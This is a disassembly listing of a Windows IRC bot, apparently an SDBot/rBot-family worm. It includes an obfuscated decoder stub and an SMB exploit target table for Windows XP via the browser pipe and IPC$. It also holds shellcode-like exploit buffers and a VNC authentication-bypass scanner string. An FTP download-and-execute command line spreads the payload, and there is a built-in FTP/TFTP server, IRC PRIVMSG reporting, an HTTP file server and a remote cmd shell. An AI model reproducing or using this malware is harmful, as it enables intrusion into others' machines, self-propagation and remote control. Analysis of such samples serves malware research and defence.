; ---------------------------------------------------------------------------


loc_43273C:				; CODE XREF: ___:00432746j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43273C
		inc	edi
		jz	short loc_432783
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4327AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432783:				; CODE XREF: ___:00432749j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4327A8:				; CODE XREF: ___:004327D5j
		xor	[esi-25h], bl


loc_4327AB:				; CODE XREF: ___:00432751j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4327C4:				; CODE XREF: ___:004327F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4327A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327E2:				; CODE XREF: ___:00432789j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43286E
		jo	short loc_4327C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432805+1
		add	bl, [edi]


loc_432805:				; CODE XREF: ___:00432801j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43281A+2
		cmp	ch, bh
		dec	edx


loc_43281A:				; CODE XREF: ___:00432815j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43286E:				; CODE XREF: ___:004327F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328F4
		sub	al, 0BCh
		jmp	near ptr 54452C62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890	dd 0EFFFC481h, 44FFFFh,	4328DCh	; DATA XREF: ___:0040DC33o
dword_43289C	dd 42Ah			; DATA XREF: ___:0040DBE6r
dword_4328A0	dd 3E8h			; DATA XREF: ___:0040DC57r
dword_4328A4	dd 258h			; DATA XREF: ___:0040DC29r
byte_4328A8	db 1			; DATA XREF: ___:0040DB92r
					; ___:0040DC60r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328C0	dd 20804h		; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328F4:				; CODE XREF: ___:00432878j
		push	eax
		xor	al, 29h


loc_4328F7:				; DATA XREF: ___:0040DBBAo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432900	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAEAo
dword_432914	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Eo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
		align 10h
word_433C00	dw 1			; DATA XREF: ___:0040E211r
		align 4
dword_433C04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C65+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438368o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438374o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EEC	db  2Dh	; -		; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433F14	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43416C	db  2Dh	; -		; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_4341A0:				; DATA XREF: sub_40F6B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434648	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346F4	db  2Dh	; -		; DATA XREF: ___:00410494o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43473C	db  2Dh	; -		; DATA XREF: ___:004106E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43477C	db  2Dh	; -		; DATA XREF: ___:0041061Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4347C0	db  2Dh	; -		; DATA XREF: ___:004109A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347EC	db  2Dh	; -		; DATA XREF: ___:00410982o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434818	db  2Dh	; -		; DATA XREF: ___:00410962o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
		align 4
unk_434854	db  2Dh	; -		; DATA XREF: ___:004108A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434880	db  2Dh	; -		; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4348AC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A48	db  2Dh	; -		; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A7C	db  2Dh	; -		; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AC4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AEC	db  2Dh	; -		; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B2C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C	db  2Dh	; -		; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
dword_434BAC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
